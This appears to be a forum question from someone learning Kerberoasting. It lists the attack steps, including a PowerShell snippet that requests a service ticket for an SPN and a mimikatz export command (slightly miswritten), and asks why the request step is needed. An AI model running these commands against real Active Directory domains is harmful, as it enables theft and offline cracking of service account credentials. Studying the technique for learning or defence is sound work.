I am learning Kerberoasting see below are my steps that I am following.
Step:1. Attacker will find the SPN's
Step:2. After identifying we will request for TGS for that SPN. This is the script for that.
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<your SPN>"
Step3:. Export it to local disk. mimikatz::list /export
Step:4. Crack it.
Now I didn't understand why the 2nd step is necessary? Because When I skip it directly to 3rd step the Results are Same. Then Why we need that?